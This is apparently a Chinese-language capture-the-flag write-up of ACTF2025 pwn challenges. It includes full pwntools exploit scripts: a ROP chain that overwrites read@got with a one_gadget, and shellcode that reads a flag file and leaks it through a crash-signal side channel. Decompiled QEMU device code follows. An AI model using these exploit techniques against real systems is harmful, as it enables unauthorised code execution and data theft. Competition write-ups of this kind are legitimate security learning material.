README.mdx
9.3 KiB2025-04-27 15:50

#ACTF2025 Pwn Writeup

本次 ACTF 我基本上 24 h 打满了,队伍里一共出了三道 pwn,我参与做了两道,另外一道 qemu pwn 没出,这里写一下 WriteUp。

#only_read

题目很简洁,只给了一个不限长度的 read,保护如下:

Arch:       amd64-64-little
RELRO:      Partial RELRO
Stack:      No canary found
NX:         NX enabled
PIE:        No PIE (0x3fe000)
RUNPATH:    b'.'
SHSTK:      Enabled
IBT:        Enabled
Stripped:   No

看到这个保护肯定是想打 ret2dlresolve 的,但是题目里没有 pop rdi; ret 这种 gadget,所以我这边的思路是打 magic gadget。

我选择了下面这两条 gadget:

  • libc 里:0x0000000000110a46: pop rbx; pop rbp; pop r12; pop r13; pop r14; ret;
  • 程序中:0x000000000040111c : add dword ptr [rbp - 0x3d], ebx ; nop ; ret

其中第一条是因为倒数第三字节和 libc 中 read 的偏移是一样的,不需要更多的爆破,第二条则是经典的 magic_gadget,两条配合起来可以做一个任意地址写原语。

流程如下:

  1. 先用 read 构造程序地址写,把 read@got 部分写成第一条 gadget;
  2. 再利用任意地址写原语把 read@got 写成 ogg;
  3. 执行 ogg

这个过程中需要很多栈迁移和提前布置栈,比较常规,不再赘述。

爆破期望 1/16,原因是 libc gadget 的倒数第四位不确定,需要爆破。

#!/usr/bin/env python3

from pwn import *
from sys import argv
import os

proc = "./only_read_patched"
context.binary = proc
elf = ELF(proc, checksec=False)

# 0x0000000000110a46: pop rbx; pop rbp; pop r12; pop r13; pop r14; ret;
# 0x000000000040111c : add dword ptr [rbp - 0x3d], ebx ; nop ; ret

def pwn():
io.recvuntil(b"Submit the token generated by `")
cmd = io.recvuntil(b"`", drop=True).decode()
token = subprocess.check_output(cmd, shell=True).strip()
io.sendline(token)

addr_reread = 0x401142
addr_ret = 0x40101a
got_read = elf.got['read']
addr_magic = 0x40111c
addr_start = 0x401050
addr_pop_rbp_ret = 0x40111d

buf = b"a" * 128
buf += flat([got_read + 0x100, addr_reread])
io.sendline(buf)

sleep(0.5)

rop_chain = b"1" * 8
rop_chain += flat([
elf.plt['read'],
0xfffdeae5,
got_read + 0x3d,
0, 0, 0,
addr_magic
], length=0x38)
rop_chain += p64(addr_pop_rbp_ret)
rop_chain += p64(0x404090)
rop_chain += p64(elf.plt['read'])
rop_chain = rop_chain.ljust(0x80, b"\x00")
rop_chain += p64(0x403ff8 + 0x88)
rop_chain += p64(addr_reread)
io.sendline(rop_chain)

sleep(0.5)
io.send(b"\x46\x3a")


while True:
io = remote("127.0.0.1", 9999) if argv[1] == 'r' else process(proc)
pwn()
io.interactive()

ACTF{5ystem_c4nnot_be_1nvoc4ked_@fter_corrupt1n9_1inkm4p}

#afl_sandbox

题目一开始有个 hash 爆破,ai 一把梭了,虽然 hardness 是一个白给的 orw shellcode,但是因为 afl 执行程序异常后没有回显,所以没办法直接拿 flag,这里是用了基于报错的侧信道来爆破。

from pwn import *
import sys
import hashlib

proc = 'harness'
elf = ELF(proc)
context(arch=elf.arch, bits=elf.bits, endian=elf.endian, os=elf.os)

difficulty = 12
zeros = '0' * difficulty


def creat_io():
p = remote('223.112.5.141', 52051)
break_hash(p)
return p

def is_valid(digest):
if sys.version_info.major == 2:
digest = [ord(i) for i in digest]
bits = ''.join(bin(i)[2:].zfill(8) for i in digest)
return bits[:difficulty] == zeros

def sol(prefix):
i = 0
while True:
i += 1
s = prefix + str(i)
if is_valid(hashlib.sha256(s.encode()).digest()):
return i

def break_hash(p):
p.recvuntil(b"solve this: sha256(")
prefix = p.recvuntil(b" ", drop=True)
p.sendline(str(sol(prefix.decode())).encode())

def send_hex(msg):
h = msg.hex()
p.sendlineafter(b'>', h)
p.sendafter(b'>', '\n')


ans = ''
this = ''
index = 0

sc = asm(f'''
lea rsi, [rbp - 0x800]
mov rdi, 0
mov rdx, 1
mov rax, 0
syscall
''')
sc += asm(shellcraft.open(b"/home/ctf/flag"))
sc += asm("""
lea rsi, [rbp - 0x800]
mov rdi, 4
mov rdx, 0x100
mov rax, 0
syscall
""")
cmp = asm("""
cmp rbx, rax
je equal
jb below
great:
ud2
equal:
mov rax, 0x3c
syscall
below:
mov rsp, 0
ret
""")

p = creat_io()

while this != '}':
target = 0
for i in range(0, 8):
pow = 7 - i
target += 1 << pow

shellcode = sc
shellcode += asm(f'''
xor rbx, rbx
mov rax, {target}
mov bl, byte ptr [rsi + {index}]
''')
shellcode += cmp

send_hex(shellcode)
res = p.recvuntil("awesome, see you next time :)))")
p.close()

if b"Fork server crashed with signal 4" in res:
p = creat_io()
break

elif b"Fork server crashed with signal 11" in res:
target -= 1 << pow
p = creat_io()
continue

this = chr(target)
ans += this
index += 1
log.info(f"current_flag => {ans}")
p = creat_io()
break

p.interactive()

让 gpt 优化了一下这个脚本,速度还挺快的。

ACTF{wH4t_IS_Your_CooL_solUTi0n_PL2_te1l_M3}

#easydma

没给符号,先逆向,可以看到程序只注册了一个 mmio,只有一个 read 和 write,

__int64 __fastcall readflag_mmio_read(__int64 opaque, unsigned __int64 addr, int size)
{
__int64 result; // rax

if ( addr > 0x7F )
{
result = -1LL;
if ( size != 4 )
return result;
}
else if ( size != 4 )
{
result = -1LL;
if ( size != 8 )
return result;
}
result = 0xDEADBEEFLL;
if ( addr )
{
if ( addr == 8 )
return *(opaque + 0xBA8);
else
return -1LL;
}
return result;
}
void __fastcall readflag_mmio_write(__int64 opaque, unsigned __int64 addr, size_t val, int size)
{
char *chunk; // rbp
FILE *v5; // rax
FILE *v6; // r12
size_t len; // rax
int v8; // [rsp+0h] [rbp-20h]

if ( addr > 0x7F )
{
if ( size != 4 )
return;
}
else if ( size != 4 )
{
if ( size == 8 && addr == 8 )
goto LABEL_6;
return;
}
if ( addr )
{
if ( addr == 8 )
LABEL_6:
*(opaque + 2984) = val;
}
else if ( val <= 0xFFF )
{
v8 = val;
chunk = malloc(val);
if ( chunk )
{
v5 = fopen64("flag", "r");
v6 = v5;
if ( v5 )
{
len = fread(chunk, 1uLL, (v8 - 1), v5);
if ( len )
chunk[len] = 0;
else
puts("No data read from the file.");
free(chunk);
fclose(v6);
}
else
{
perror("Error opening file");
free(chunk);
}
}
else
{
perror("Memory allocation failed");
}
}
}

都不是很有洞,感觉是没找到洞,继续审:

__int64 __fastcall pci_readflag_realize(__int64 a1, __int64 a2)
{
__int64 pdev; // rbp
__int64 result; // rax

pdev = sub_71F420(a1, "readflag", "../hw/misc/edu.c", 38LL, &off_9356B5);
*(*(a1 + 160) + 61LL) = 1;
result = sub_433F90(a1, 0LL, 1LL, 1LL, 0LL, a2);
if ( !result )
{
timer_init_tl(pdev + 3040, 0, 1, 1000000, 0, readflag_dma_timer, pdev);
qemu_mutex_init(pdev + 2872);
qemu_cond_init((pdev + 2920));
qemu_thread_create((pdev + 2864));
memory_region_init_io(pdev + 2592, pdev, &readflag_mmio_ops, pdev, "readflag-mmio", 0x100000LL);
return pci_register_bar(a1, 0LL, 0LL, pdev + 2592);
}
return result;
}

这里有一个:

__int64 __fastcall readflag_dma_timer(__int64 a1, __int64 a2, __int64 a3, __int64 a4, __int64 a5, int a6)
{
__int64 flag; // rax
__int64 buf; // r12
__int64 len; // rbx
__int64 len2; // rsi
unsigned __int64 src; // rdi
__int64 v12; // r13
__int64 v13; // rdx
__int64 v14; // r12
__int64 v15; // rdi
__int64 v16; // r9
__int64 len1; // rsi
unsigned __int64 dst; // rdi
__int64 v19; // rdx

flag = *(a1 + 3032);
if ( (flag & 1) != 0 )
{
buf = a1 + 3088;
len = *(a1 + 3024);
if ( (flag & 2) != 0 )
{
len1 = *(a1 + 3024);
dst = *(a1 + 3008);
v12 = buf + dst - 0x40000;
sub_3D6F80(dst, len1, a3, a4, a5, a6);
v19 = *(a1 + 3016);
v14 = v19 & *(a1 + 7184);
if ( v19 != v14 )
__printf_chk(1LL, "READFLAG: clamping DMA %#.16lx to %#.16lx!\n", v19, v19 & *(a1 + 7184));
_mm_mfence();
v15 = a1 + 568;
v16 = 1LL;
}
else
{
len2 = *(a1 + 3024);
src = *(a1 + 3016);
v12 = buf + src - 0x40000;
sub_3D6F80(src, len2, a3, a4, a5, a6);
v13 = *(a1 + 3008);
v14 = v13 & *(a1 + 7184);
if ( v13 != v14 )
__printf_chk(1LL, "READFLAG: clamping DMA %#.16lx to %#.16lx!\n", v13, v13 & *(a1 + 7184));
_mm_mfence();
v15 = a1 + 568;
v16 = 0LL;
}
copy(v15, v14, 1LL, v12, len, v16);
flag = *(a1 + 3032);
*(a1 + 3032) = flag & 0xFFFFFFFFFFFFFFFELL;
if ( (flag & 4) != 0 )
{
*(a1 + 3000) |= 0x100u;
return sub_3D6DF0(a1);
}
}
return flag;
}

到这感觉洞应该就是在这里了,后来出题人也上了 hint,但是看不太明白,,,这个题最后也没做出来。